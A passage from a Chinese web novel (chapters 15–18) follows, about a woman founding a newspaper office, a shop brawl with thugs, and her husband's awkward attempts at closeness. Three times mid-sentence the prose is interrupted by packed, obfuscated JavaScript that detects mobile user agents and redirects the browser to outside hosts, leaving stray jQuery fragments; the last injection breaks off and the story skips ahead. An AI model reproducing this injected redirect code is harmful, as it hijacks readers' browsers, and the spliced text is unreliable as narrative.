同时，大家也对县衙收受贿赂的行为发起声讨。许昭借机将此事禀告皇上，与御史台一同清点旧案卷宗，探查其中是否还有冤假错案，待调查结果水落石出后，对涉案官员一并问罪。 为保护排云的人身安全，孟允抒在报道中用了化名，众人对排云的义举拍手称快，又赞扬江芷兰的高洁善良，此事被改编成戏剧话本，一时间风靡京城。 除此之外，陈府也摆脱了凶宅之称，有好事人专程跑来宅子里一探究竟，得知此处将要新开一家“黎民报社”，又将消息流传出去，奔走相告，让孟允抒收获了一波免费的流量。 一箭三雕。 在此种情况下，报社的一切准备工作都进展得相当顺利。在孟允抒规划的截止日期之前，他们已让宅邸的各处焕然一新，也完成了初步的人员招聘工作，待日后发展壮大再扩充成员数量。 今日是报社试运营的第一天，孟允抒和秋盈起了个大早，前往报社作最终检查，接着召开职工大会，强调报社规章制度和工作注意事项。 孟允抒和秋盈行至报社的临街门面前，见大门已经开了半扇。 门内一人从暗处现出身形，将几扇大门全部打开，对两人笑道：“孟社长，秋掌柜，你们来得好早。” 排云手里握着扫帚，笑意盈盈地看向她们。 在报社工作的首要前提就是识字，单这一条标准就能筛掉不少人。排云聪明伶俐，知恩图报，孟允抒对她十分欣赏，就叫她与那些应聘者一同参与笔试与面试，最后她被录取为报社经营部门的人员，负责小报发行与售卖的工作。 孟允抒别过排云向内院走，几个往来的雇工见到她们，都会道上一声“孟社长”“秋掌柜”。 孟允抒对此很是受用，秋盈则显得有些局促：“夫人，我——” “秋掌柜，工作的时候要称职务。” 孟允抒的调侃让秋盈更是窘迫：“我是府里的下人，如何能当报社的掌柜，你莫要再取笑我。” “我并非在戏弄你。”孟允抒正色道，“你自幼便陪在我身边照顾我，我房中的一切都交由你打理，无论是人员也好，钱财也罢，你都管理得当，不曾有失。报社事务繁杂，平日我又经常在外采闻，店铺需要有人打理，这些事务只有交给你我才放心，还望姐姐不要再推脱。” 人力资源与财务管理是每个公司不容忽视的一环，更是报社运营的基础与命脉。孟允抒思虑再三，决心把这两项关键事务交给她的心腹，由秋盈再将其细化，选拔人才进行管理。 秋盈见孟允抒神情严肃，明白这是她的肺腑之言：“我知道了。我定会尽我所能，为夫——” 她及时更正口误，对孟允抒莞尔一笑：“为社长分忧。” 行至中庭，孟允抒特意进东厢房巡视了一圈。 江芷兰的卧房被她命名为“采闻堂”，作为采编部门的会议室，厅堂正中悬有京城地图，旁边则挂着张幅面较大的宣纸，上面标注着近日舆情热点及调查线索。这些情报当中，部分是孟允抒用声望点换来的，部分是她在街头巷尾打听得知，也有其余探官通过自己的人脉、其余消息渠道得来的。 孟允抒低头抚摸着那张杉木长案。若是江芷兰泉下有知，也一定对今日情景喜闻乐见。 秋盈见她神情落寞，转移话题劝她离开：“时间紧张，我们快去后院看看吧，再过一会大家都该来齐了。” 这句话点醒了孟允抒，待会她还得给职工开会，于是同秋盈移步后院。 报社后院的工坊所占面积最大，主要被分为誊写房、刻版处、印坊、杂物仓库四个区域。 “我以前在两家书坊当过拣字工，还是头一次见让人坐着排字的，真稀奇。” 孟允抒迎着七嘴八舌的讨论走进印坊，里面的工人见状纷纷起身向她问好。 “诸位不必拘礼，都请坐。”她向大家打了招呼，指着屋内的几列字架说道，“此种排字方法出于我个人的灵光一现，先试用一段时间，若各位觉得不适应，或是有更好的主意，随后可找我商量，我们共同对其进行改良。” 利用活字印刷之前得先进行活字排版，印工拿到文稿后，将需要的字模从字库拣出，按文章内容组合成版，接下来才可刷墨印制。 在这一过程中，一切劳动都全凭人力。孟允抒先前在文昌书坊体验过，这样不间断地来回行走、站立，一天下来双腿胀痛不已，长此以往定会对身体造成巨大损伤。 因此在创办报社之前，她就一直在思索，如何解决印工劳动强度大、排字速度慢的问题。 孟允抒作出的尝试是改造字架，每个字架上只存放一千个常用字，这些汉字已经能够覆盖绝大多数的书面资料，使用频率较低的字模则按韵部分类存放在公用活字库中，以备不时之需。这样一来，每个字架的体积大大减小，高度降低，印工可以坐着排版，同时也能提高拣字速度。 将报社各处都巡视完毕后，孟允抒收集了不少员工的疑问和意见，通知所有人到后院中集合开会。 “请诸位安静。”孟允抒站在最前方的台阶上，压下众人的窃窃私语，“我知道各位对报社尚有诸多疑问，接下来我所说的话是重中之重，还请各位谨记。” “小报自先皇以来便已在民间出现，流传甚广，比邸报更受百姓欢迎，受到民众追捧。只是民间小报良莠不齐，常有杜撰新闻者混淆视听，且尚未形成专营小报的店铺。为此我成立报社，诚邀诸位前来共襄盛举，从中受益。” “既然是首创之举，我们定然少有经验可循，但并不代表可以为所欲为，诸位还应循规做事。”她看了一眼萧谨言和秋盈，“我与萧主编和秋掌柜商讨之后，已经拟出一份报社基本例令，稍后会张贴在誊写房中，请各位仔细阅读。部分重点内容我在此额外强调一下。” 她望了望秋盈，收回目光说道：“平日诸位在报社中，彼此之间需以职务或字号相称。” 此言一出，满庭哗然。 报社成员的出身不一，探官和编辑多数是来自小门小户的书生、小姐，工人和伙计则大多为平头百姓，还有排云这样曾做过他人府中仆从的人，每个人都习惯了尊卑有序的交往方式，一时间难以做出改变。 对此孟允抒解释道：“不论各位家境如何，有何过往，在此处一律是报社的成员，自然没有高低贵贱之分。” 她又打趣般地说道：“再者，若是不规定称呼，你叫我一句‘孟夫人’，他叫主编一句‘萧公子’，谁听得出我是哪家的夫人，他是哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337552|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家的公子，岂不是全都乱了套？” 人群发出一阵轻微的哄笑。 孟允抒见众人气氛有所缓和，便言归正传，让话题进入下一部分：“当前报社主要由采编部、刻印部、发行部组成，我大致描述一下各部的职责，方便各位互相配合，增进对彼此的了解。” “厘清各部职责就要先从发报流程说起。”孟允抒介绍道，“一份报纸的诞生要经过多个环节。” “首先是选题。今后每日卯时正刻将召开晨间选题会，众位探官编辑在例会上交流舆情热点，讨论报道选题。” “其次是采写新闻。各探官围绕选题事先进行策划准备，依据线索前去走访调查报道对象，根据采访结果撰写报道。” “探官出稿后将文章交给编辑，由他们进行编修、校对、排版以及审阅工作。” “最后就是小报的印制与发行。写样先生从编辑处接收终稿进行誊写，再交予印工对照印制小报，而后拿给发行部令其售卖。各位刻工负责维护字模，及时补铸损耗活字，若文稿中有必须使用的生僻字，则需要紧急加刻字模。” 孟允抒简述了报社日常的工作流程和各部职责，先让全体员工在实际工作中熟悉一段时间，若有疑问再与她沟通。 “在此特别强调一点，为提高印制效率，也方便民众自由选择，同期小报的不同文章将分别印制收纳，不必将其组合在一起。印成后由买方自行选择购买方案。”孟允抒讲完最后一部分内容，“我要讲的就是这些。请采编部的诸位前去采闻堂集合，我还有些事情强调，其余人员可以先回到各自岗位上熟悉工作了。” 人群三三两两地散开，萧谨言与孟允抒一同前往中庭，略显惊讶地说道：“没看出来你还有这般本事，将报社事务说得条理清晰，头头是道，就像以前做过这种事似的。” 孟允抒在心底恭喜萧谨言答对了。 胤朝没有报社，自然也没有一系列与报社事务相关的专有名词，省事起见，她直接把现代报社工作中的许多专有名词拿来使用，自然信手拈来。 孟允抒感慨，想当初她最讨厌开会和领导讲话，现在却不得不在接二连三的会议中奔波。 人果然会活成自己最讨厌的样子。 她进入堂中，让众人纷纷落座，在座首说道：“在今日的选题会开始之前，我需要再次告诫诸位，采编部是报社的核心，必须明确理念，端正态度。” 她想起现代新闻学的种种乱象，希望能从源头避免这些。 “在采写新闻的过程中，无论何时都要做到不偏不倚，公正无私，不得预设立场，主观臆断，或凭个人喜好偏私一方。初步获取证据后，不要急于下定论，应当多方探查，互验真伪。最后，撰写报道时应实事求是，不得弄虚作假，不得夸大或隐瞒真相。” “为方便事后问责，每篇报道末尾都必须题写探官与编辑代号，诸位稍后可以想想自己的代号，赶午时之前交给我。” 孟允抒的目光掠过长案两边的男女，每个人脸上都带着一副期待又略显担忧的神情。 这是一次崭新的尝试，是他们从未走过的路。 可是，如果没有人敢于去前方探路，为旁人指引方向，所有人就都只能被困于方寸之地。 “我的代号是‘芷兰’。”孟允抒笑道，“第一次选题会正式开始。” 16. 闹事 开业的前几日是最忙的，由于此前没有任何经验可循，报社中的大小事务都需要孟允抒亲自处理。这种状况持续了一周多，报社中的每个人终于走上正轨，各部也开始有序运营起来。 孟允抒和各部主管的办公室位于中庭，是由那个最小的房间改造而来，西厢房则作为编修堂，供报社各位编辑使用。 “新闻报道不同于平日行文，不能这样写。”孟允抒对萧谨言说着，在他拿来的文稿上圈圈改改，“这种字词主观色彩过强，容易煽动读者情绪倒向其中一方，有失公允。” “社长！” 排云欢快地从门外蹦进来，见到萧谨言向他问了声好：“萧主编也在。” 她又面向孟允抒笑道：“昨日你交给我们的事已经办妥了。” 萧谨言见状向孟允抒告退：“我记下了，待会我将这些要点告知各位编辑。你们聊。” 他出去带上了门，孟允抒让排云在她对面坐下：“你说说，情况如何？” 考虑到小报的受众广泛，新闻又具有传播性，孟允抒觉得他们若是只在固定门面售卖小报，恐怕销量有限，于是找来发行部的几个员工下了任务，让他们再去外面联络打听一番，看看还有没有其他推广小报的法子。 “我们在外打探一番后，回来互相交流商讨，发现这些人或许可为我们所用。” 排云开始汇报他们的工作成果：“京中商业发达，城中商铺数量众多，其中不乏做些小本生意的零散摊贩，他们多位于人群密集的街巷，过路人即便不从他们的摊位上购买东西，也能一眼望见他们所售之物。” 孟允抒明白排云的意思。即使他们通过此种渠道卖不出多少报纸，也能趁机打个广告。 “还有走街串巷的卖货郎。我们经打问得知，他们都有各自的行进路线，凑在一起几乎可以覆盖整个京城。”排云将身体前倾，凑近孟允抒说道，“以上这些人中，有一部分明说愿意从我们这里低价买报，尝试售卖一阵看看盈利情况，还有些人仍在犹豫。” 报纸批发分销是个好策略，且摊贩和卖货郎的流动性极高，不用为消息传播的问题发愁。如果能与他们达成长期稳定的合作关系，或许还能培育出专营小报生意的零售点和卖报人。 “这主意不错。我们可以先与这些想要试水的商贩达成合作，起初报价低些，若他们能从中获利，自然愿意与我们长期交易，到那时再涨价也不迟。” 孟允抒向排云交代了一些谈合作的注意事项，又想起新闻时效性的问题。 “至于小报的运输……” 他们所办小报名为《黎民日报》，顾名思义是日出一份，若要尽快送往城中各个分销点，则需要数匹快马分送各处。 不但需要马，还需要精于骑术之人。 一个答案赫然出现在孟允抒脑中。 “稍后我写一封书信，劳烦你将它送到民信局的掌柜那里。你带些银两，率先拿出我们的诚意。等他们尝到甜头，我们再试着与其谈条件。” 民信局是胤朝的民营快递机构，可帮平民传递信件与物品，只是因其在行业中居于垄断地位，要价颇高。 若报社能与分销商贩达成合作，他们每日都需要寄送小报，业务需求量大，若日日如此，他们赚取的利润肯定所剩无几。 排云心领神会地点头，接着提出一个问题：“若是他们不愿压价呢？” 这次孟允抒没有作出回答，却反问她：“如果让你来处理此事，你会怎么做？” 报社事务繁杂，她不能事事亲为，得适当放手让他们自己处理问题。 排云思索一番，脸上渐渐浮现出一个不怀好意的笑容，她极力地压下嘴角，却还是没能把它抻平。 一看就知道她憋着坏。 孟允抒需要秋盈这样稳重的帮手，也需要有主见的聪明人。 “想到什么就说，我不会怪罪你。” “若掌柜不同意薄利多销，那我们只能绕开他行事。”排云笑道，“既然我们每日都有寄送需求，不多时就能与那些驿夫混个脸熟。他们当中不乏爱马之人，即便收入微薄，也会在家中养上一匹马。” “民信局掌柜收的银两到不了他们的口袋，层层分剥下去，到他们手里也没几个钱。既然如此，他们为何不直接与我们联络，接些私活？” 孟允抒听明白了，排云这是想挖墙角。 这手段很卑鄙，但是省时省力。 “既然你心中已有主意，那就放手去做。”孟允抒同意了她的方案，又叮咛她道，“但你要小心行事，莫要让那掌柜发现，招致祸端。” 门外忽然传来一阵急促的脚步声，一个伙计猛地撞开大门闯进来，上气不接下气地对孟允抒喊道：“社长，你快去前面看看，有人闹事，砸我们的铺子！” 孟允抒的心猛然被攥紧，迅速冲出屋子跑向临街的店铺。 报社被砸都是小事，秋盈还在前方的铺中，她绝对不能出事。 “让一让！” 孟允抒拨开铺中的伙计赶到秋盈身边，见她用力按着左手，连忙拉过她的手查看情况：“让我看看。” 秋盈的手掌上有一道狭长的伤口，好在伤得不深，只是稍稍渗出些血迹。 孟允抒看得心疼，对身旁的小姑娘说道：“排云，你去取些纱布来给秋掌柜包扎。” “我没事，只是方才不小心被碎瓷片划了一下，并无大碍。”秋盈安慰着她，又瞥了一眼堵在门口的几个大汉。 孟允抒放下心来，这才将注意力放在那几个面露凶相的男子身上。 他们一共六人，个个身材魁梧壮硕，浑身酒气，其中两人手持棍棒，为首的人腰间挂着个酒囊，衣衫不整，看上去就是游手好闲之辈。 而在他们脚下，散落着一地的花瓶碎片和书籍纸张，原本置于柜台上的物件都一并倒在地上。 结合伙计向她报信时所说的话，不难推断出铺中方才发生了什么事。 孟允抒看他们未带利器，猜测他们不是亡命之徒，便开口问道：“还请诸位对此番状况作出解释。你们这是何意？” 为首的男子将孟允抒上下打量一番，用戏谑的口吻说道：“你就是他们所说的那位孟社长？” 孟允抒对他的语气颇为不快，却并未在面色上显露分毫。 “正是。” 他大笑起来，冲他的同行伙伴挤眉弄眼，嘲弄地说道：“前有这位秋掌柜，后有你这个孟社长，你们不在家中好好绣花，却跑到这来抛头露面，可是挂羊头卖狗肉，假借报社之名做皮肉生意？” “真是下流。” 在一旁的排云猛然上前，孟允抒连忙拦下她，摇摇头示意她先冷静，快从后门出去报官。 “出什么事了？” 萧谨言听见院中的骚乱，和几个编辑匆匆赶至店中，他扫了一眼地上七零八落的东西和秋盈手上的纱布，怒气冲冲地对那几个大汉吼道：“你们好大的胆子，孟社长可是——” “谨言。”孟允抒及时制止他的话，“不要说。” 见萧谨言面红耳赤，那几个大汉反而哄笑起来：“你这行当里居然还有男人！” 萧谨言听出了他们话里的羞辱意味，气得浑身发抖。 黎民报社中的男女员工占比五五开，这在当今的商业活动中极为少见。女子本就容易被这些不轨之人盯上，报社成员又多为文人墨客，看起来风雅俊秀，毫无威慑力，自然不被这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15352208|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地痞流氓放在眼里。 孟允抒决定先拖延时间与对方周旋一会，看向几人冷声道：“只要不曾违反大胤律令，我们开报社还轮不到旁人来说三道四。难道就是因为我们在此经营，你们便要打砸我们的店铺？” “当然不是，孟社长想做什么便做什么，只要你有本事，哪怕把报社开到御街上也未尝不可。” 他刻意加重了“孟社长”三字的音调，话语中满是讽刺。 “但你既然要做生意，就应当明白‘来者皆是客’的道理。”他看向秋盈，佯装痛心道，“我们进来没说上几句话，你们这位秋掌柜就出言不逊，还和我们厮打起来，造成这样一片狼藉。” “胡扯！”一名伙计怒吼着打断他的话，“分明是你们先对秋掌柜动手动脚，我们上前理论，你们却动起了手！” 孟允抒都不用想就知道，凭秋盈的为人和秉性，她绝不可能无缘无故地与他人发生冲突。 但这几人就是典型的泼皮无赖，和他们根本论不出什么对错。 孟允抒问道：“所以几位想如何了结此事？” “孟社长真是爽快。”为首的大汉指指身后一名男子的脑袋，“方才秋掌柜砸伤了我这位兄弟，不作出赔偿说不过去吧？” 孟允抒瞟了一眼那人完好无损的脑袋，他们摆明了就是在碰瓷讹钱。 她冷笑着说道：“客官真是会说笑，这位兄弟未见外伤，你单凭肉眼就能作出此番定论，莫非你的医术比那医祖扁鹊还要高明？” 为首的大汉扬起下巴，双手抱臂：“如此说来，孟社长是不愿意出这笔钱了。” 孟允抒回答：“凡事总得讲个证据，客官此言实在无法服众。” “那我也懒得再同你废话。”他一挥手招呼身后的几个男子，“给我砸。” 铺中场面顿时乱作一团，伙计们一拥而上，阻拦那几名壮汉破坏店中物品，推搡之间局势很快升级，演变成了激烈的互殴，过往行人纷纷驻足，七嘴八舌地议论起来。 “别打了！” 秋盈担心店铺受损，又害怕他们此举于报社名声不利，冲进人堆奋力推开为首的男子。 孟允抒曾学过几招简单的防身术，一边自卫一边在其中维持秩序，一扭头却看见一个持棍男子的棍棒就要落到秋盈身上。 “小心！” 她来不及细想就上前推开秋盈，右肩结结实实地挨了一棍，紧接着耳边响起一阵“衙役来了”的呼喊。 秋盈连忙过来扶着她询问伤势，排云带来的几名衙役简单问了几句情况，将那六人一齐带走，店中的混乱才算告一段落。 孟允抒稍稍活动了下肩膀，发觉疼痛只来自皮肤表层，并未伤及骨头。 她让店里的员工去收拾残局，继续进行手头的工作，高声说道：“我并无大碍，诸位都去忙吧。” 众人各自散去，秋盈则是满面懊悔和自责：“我不该意气用事，反倒连累了你。” “你做得没错，不必内疚。和那些流氓哪能讲得清道理？” 孟允抒宽慰她几句，又抬起她的左手，看看她手上的纱布笑道：“你也受了伤，我们这算是患难与共了。” 打趣一番后，孟允抒言归正传道：“做生意难免会遇到这种不讲理的无赖，今日之事也算是长了个教训。” 她沉思片刻，找出条应对之策：“之前我从书上学了几套防身的招式，回府后我先教给你，你和我一起传授给其余成员。除此之外，我们还得全力以赴运营报社，尽快打响名号，这样也就有了底气。” 报社的事多如牛毛，她向秋盈嘱咐一番，转身欲走时才想起有句话她忘了提醒秋盈。 “不要将今日之事告诉许公子。” 17. 关心 许昭将目光从书上挪开，看向门外的绿植让眼睛稍事休息，却发现天色已经暗了下来。 他估算了下时间，当前应是酉时将尽。 自报社开张以来，孟允抒忙得不可开交，归府的时间比先前在文昌书坊时还要迟上许多，晚饭也经常在外解决。 两人虽处于同一屋檐下，但孟允抒早出晚归，许昭已经连续五日不曾见过她。许府中本就没有多少下人，又少了孟允抒平时谈天说地的热闹劲儿，府中上下都弥漫着冷清的味道。 他正盯着院中之景发怔，一个小厮走进门行了个礼：“老爷。” 许昭回过神，重新拿起书：“再等等吧，兴许孟姑娘稍后就回来了。” “我不是叫您用膳。”小厮笑了笑，“萧家三公子来了，我让他在正厅等您呢。” 许昭前往正厅，与萧睿言寒暄一番后落座。 萧睿言已经赴任，许昭对他的称呼随之改变：“不知萧大人来访所为何事？” 因孟允抒创办报社之事，近日萧睿言与许昭往来频繁，两人也已经算是熟识，故而免了许多客套话。 萧睿言开门见山道：“听闻今日有人在报社闹事，孟夫人受了轻伤，我特来探望。请问她当下状况如何？” “什么？” 许昭没想到萧睿言一开口就是重磅消息，赶紧追问他：“你说孟——允抒受伤了？这是怎么回事？” 萧睿言对此也略显诧异：“我听二哥说的。许大人不知情？” 许昭摇头：“允抒尚未回府，我无从得知报社情况。还请萧大人为我细细讲来。” 萧睿言了然，向他讲述了这场风波的始末，而后又感慨道：“我未曾料到孟夫人竟如此醉心于经营报社，甚至达到了废寝忘食的地步。二哥一个时辰之前就已府，而她居然还在报社中忙碌。大人应当多提醒她保重身体。” 许昭听闻报社之事，又是担忧又是愤慨，一时间不知该说些什么。 见他沉思不语，萧睿言想起先前在萧府园林中和孟允抒的交谈。 “许大人，这是你的家事，本不该由外人多嘴，但孟夫人实乃女中豪杰，令人敬佩，请容我斗胆进言。” 许昭点头道：“大人不必拘礼，直言就是。” “孟夫人知书达理，纵然你与她过往曾有种种纠葛，她却并不记恨大人，也理解你的难处。” 许昭同意萧睿言的话，从孟允抒这段时间的行为中就可以得出这番结论。 在许多事上他都愧对孟允抒，可她先是替他写文章辟谣辩白，而后又坦言不介意他出身低微，还为了替他分忧，不辞辛苦地终日奔忙。 出身显赫却不自视甚高，才华横溢而又通情达理。得妻如此，夫复何求。 “那日我与孟夫人闲聊，她曾抱怨许大人不解风情。”萧睿言将两人的对话添油加醋一番后转述给许昭，“孟夫人说她虽倾心于你，却因你孤僻少语，令她难以接近，不知该如何叩开大人心扉。” 许昭深受震撼，不可置信地问萧睿言：“这话是允抒亲口所说？” 萧睿言笑了起来：“大人若是不信，可以亲自去问孟夫人。” 许昭当然问不出这些话，只能通过孟允抒的近期表现推断萧睿言所言属实。 他竟对她的一腔热情浑然不觉。 萧睿言提醒许昭：“夫妻之间的感情需双方合力经营，大人也应多多关心孟夫人，莫让她寒了心，或是与你生出嫌隙。” 许昭认为萧睿言说得在理，有些无措地请教他道：“许某不善言辞，还请萧大人为我指点一二。” 萧睿言凑近许昭，露出一个高深莫测的笑容。 “大人算是找对人了。在与人交往这方面，睿言可谓经验颇丰。” 许昭点头，认真聆听萧睿言的教诲。 “首先，大人应当改改你的性格，不要总是拒人于千里之外，而是主动关心她，与她沟通。大人若是不拉近你与孟夫人的距离，她又怎能感知到你对她的倾慕与关怀？” “其次，大人应该多陪孟夫人出去走走。她本来就喜爱热闹，若你们一同出游，也可使感情升温。” “还有，你是她的夫君，应当多多重视孟夫人的需求。大人可以试探她有没有什么喜欢的小玩意，买来做礼物送给她，定能讨她欢心。” “除此之外，你可以多观察其他人身为夫君的做法如何，比如适当示弱服软，说些好话夸赞孟夫人……” 许昭一条条地听下来，觉得这其中的门道甚是复杂，但还是耐心记忆着他的锦囊妙计，拿出了他背诵大胤律法的态度。 萧睿言与许昭聊了半晌，他喝了口茶润润嗓子，起身向许昭告辞：“今日天色已晚，我不好再叨扰大人，我们改日再叙。” 在许昭眼里，萧睿言现在俨然是一副恩师的伟岸形象，他将萧睿言恭敬地送出大门，转而叮咛门房：“待孟姑娘回府，你让她直接来我书房。” 直至月上柳梢时，许府门前的石板路上才响起清脆的马蹄声。 孟允抒下了车，还在和秋盈讨论报社之事：“这阵子就先辛苦你观察一阵，若报社中有可用之才，可以提拔他们帮助你管理社中账务，只是最终必须由你过目一遍。” 她们的说话声传进府内，门房及时跑来给两人开了门，告知孟允抒许昭在书房等她。 孟允抒先让秋盈回房，快步赶往许昭处。 通常情况下她和许昭互不打扰，近期她又忙于报社之事，一连几天没见过许昭，都差点忘了府中还有他这号人存在。 这会许昭找她，或许是有什么要紧事。 孟允抒行至书房门前，见里面依然灯火通明，直接抬脚迈了进去。 她笑吟吟地向她的室友行礼：“许公子，这么晚了你还不曾歇息？” 许昭闻声放下手中的书，也向孟允抒报以微笑：“姑娘回来了，请坐。” 孟允抒疑惑地看着许昭指的方向，那是张和他并排的椅子，两者之间的距离不过一指宽。 她迟疑着问许昭：“我们一定要这么坐吗？” 许昭的盛情难却，孟允抒最终还是挨着他坐下，肩并肩地对着他桌上那堆书大眼瞪小眼。 她现在一扭头就能发现，许昭那张脸近在咫尺。 哪有这样坐着聊天的。 孟允抒还没调整好状态开口说话，许昭率先问道：“这几日我不曾见你，报社中的各项事务可还顺利？” 孟允抒发现，许昭说这话时根本没在看她，而是面色平静地目视前方，像是在和空气交流。 看起来他也不习惯这种座位设置。 “公子放心，一切都照常进行，并无差错。” 孟允抒说着，起身想将椅子搬到许昭对面去，却被他一把攥住了手。 她不理解许昭的想法，困惑地看了看他。 两人目光相接的一瞬间，许昭忽地抽回手，将视线投向别处，语气略显失落：“姑娘果然与我隔阂颇深。” 孟允抒还以为许昭指的是她搬椅子的举动，向他解释道：“公子误会了，你我这样不便交谈，我去对面坐。” “不行。”许昭断然拒绝她的提议，转而直视着她，“今日报社中有人寻衅滋事，你为何不对我说实话？” 孟允抒心头一惊，这下也顾不上挪动椅子，连忙笑着掩饰道：“报社分明平静无事，公子从何处听闻这般流言？” 她再三叮嘱秋盈不要将此事透露给许昭，而且两人是一齐回到府中，绝不可能是她走漏了风声。 只要消息来源不可靠，她就还有辩解的余地。 “你还在瞒我。”许昭面有愠色，“你受伤了也不告诉我，还要我从旁人口中才能得知。” 听许昭的话，他应当已经知晓内情，现在再狡辩只会火上浇油。 孟允抒眼眸低垂，语气恳切地说道：“我并非有意欺瞒公子，只是你平日公务繁忙，我不愿让你因这些小事忧心。况且我只是受了点轻微伤，不足挂齿，故而没有对你坦言，请公子见谅。” “抱歉。”许昭察觉到他的脸色不大好看，或许吓到了孟允抒，温声解释道，“我无意怪罪姑娘，只是你经历此番遭遇，却非要一人扛着担子，我实在挂念姑娘，所以才……” 孟允抒松了口气，还好许昭不是因为她的欺瞒而动怒。 她对许昭笑道：“多谢公子关怀。今日之事有惊无险，衙役及时赶到，犯人都已被捉拿归案，你不必担忧。” 许昭沉默片刻，轻轻叹了口气。 “创社之初你就多次嘱咐我与萧公子，让我们对入股之事守口如瓶，所以无人知晓报社的来头。” 他抬眼注视着孟允抒，眼神中满是懊悔与愧疚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孟允抒的话如声声惊雷贯彻人心，过了半晌，许昭依然觉得书房内回荡着她这番激情澎湃又坚定不移的自白。 许昭微微俯首：“是我轻视了姑娘。” 这句庄重的回答为孟允抒的发言画上了句点，同时也给了她莫大的支持与理解。 孟允抒如释重负地笑道：“公子不必道歉，你愿意听我说这番话，我已是感激不尽。” 她确实经常在许昭面前演戏，可这句话却是发自真心。许昭与她生活的时代不同，却能够理解并尊重她的思想观念，实属不易。 孟允抒的问题圆满解决，她起身告辞道：“公子也早些歇息吧。” “嗯。”许昭点点头，却猛地想起他还有件事没做，急忙叫住孟允抒，“姑娘留步，我还有一事想问。” 在他的示意下，孟允抒回到她那个尴尬的座位上，看着许昭坐在她面前欲言又止，接着站起来在书房转了几圈，最终还是没能开口。 孟允抒满腹疑惑：“公子想问什么直言就是，我不会责怪你。” 这句话像是让许昭下定了决心，他在孟允抒面前站定，目光躲闪。 “听说姑娘伤在右肩，我能否看看你的伤势如何？” 孟允抒的身体一僵。 从名义上来讲，许昭提出的要求并不过分，她的思想也并不保守，露个肩膀不是什么大不了的事。 但他们两个孤男寡女共处一室，再加上许昭的语气拘谨，她总觉得这话听起来有些暧昧。 孟允抒强行摆脱脑内那些混乱怪异的想法，点点头道：“可以。” 她褪下半边外衫，一片淤青就这样赫然暴露在外。 许昭没有碰她的皮肤，只是蹙起眉，用目光轻轻抚过那处青紫的瘀伤。 他曾见过无数比这更加狰狞的伤口，可眼前的淤青依然让他心头发颤。 “现在还疼吗？” 孟允抒不以为意：“本来就没多疼，一点小伤而已。我已经上过药了，过不了几日就能消下去。” 许昭察看完伤势，让孟允抒重新整理好衣服，劝说她道：“明日你先休息一天，别去报社了。” “不行，明日我要去庙会采闻。我们已经确定好选题，不能临时换人。” 许昭若有所思，他突然开口问道：“秋盈会陪你一起去吗？” 孟允抒笑笑：“当然不会。秋盈现在可是我们报社的大掌柜，有时候比我还忙。再说，总不能给每个探官都配名随行人员，报社哪有那么多人。” “那我和你一同前去。”许昭垂眸说道，“正巧我也想逛庙会。” 孟允抒看着他心虚的模样，马上得出了一个结论。 许昭可能从来没撒过谎。 18. 庙会 孟允抒坐在马车上撩起车帷，看向街上络绎不绝的行人与路边大声叫卖的摊贩，将繁华的街景尽收眼底。 在千百年的发展演化中，胤朝的庙会内涵已经远超字面意义，除了它最初具有的宗教色彩以外，更多地象征着每月五次的大型商贸集会活动。举办庙会的中心场所是大礼国寺，许多商人会借此良机，在寺庙内外设置摊位，经营自己的生意。 孟允抒望见一名理发匠放了几个小马扎，直接坐在路边给顾客刮脸修面；不远处的商贩高声吆喝，宣传所售香饮子的奇特功效；茶坊中挤满了人，依稀可见其中正有人热火朝天地斗茶；甚至还有在街边做艾灸按摩的行医。 拥挤的商品与行人看得孟允抒眼花缭乱，虽然她对满目喧嚣恋恋不舍，却也只能暂时放下车帷，先去打个报道的腹稿。 当她把注意力收回到车中时，这才察觉到一丝不对劲。 她看了看端坐在她右侧的许昭，又低头估量了一下两人之间的距离。 她分明记得，两人刚上车的时候分坐在车厢两端，他们中间的空隙还能容纳得下第三个人。 但眼下许昭已经坐在车厢正中央了。 孟允抒看他一脸正气的样子，不像是有意为之，猜测这是马车颠簸的缘故。当前街上行人摩肩接踵，时不时有对面过来的马车与他们狭路相逢，二者还要争道而行。在剧烈的晃动之中，他的位置发生偏移也实属正常。 于是孟允抒保持沉默，转而去思考她待会要提的问题。 这份和谐没能保持太长时间，因为孟允抒敏锐地发现，许昭又悄悄朝她这边挪了一小段距离。 她不解地看向许昭，他还是那副坦然的神色，坐在车上不发一言。 孟允抒不明白他这是在干什么，她只知道，再不开口的话他就要挤到自己身上来了。 “许公子，你往那边坐坐。”孟允抒提醒他，“我快没处坐了。” 许昭转头看她一眼，神情落寞，像是受了沉重的打击。 他低声问道：“姑娘是想让我离你远些？” 孟允抒听出他声音中的难过和酸涩，更加觉得莫名其妙。 他这是和谁学的，萧谨言吗？ “不，我没有这个意思，你别误会。” 无论孟允抒如何解释，许昭都不相信她心口如一，她第一次想用“笨嘴拙舌”来形容自己。最终孟允抒只能无奈地说道：“算了，就这样坐着吧。” 在听到这句话的瞬间，许昭的眼神一亮，脸上也显出高兴的神色。 孟允抒隐约觉得，她好像给自己带了个拖油瓶。恐怕她今日的采访不会很顺利。 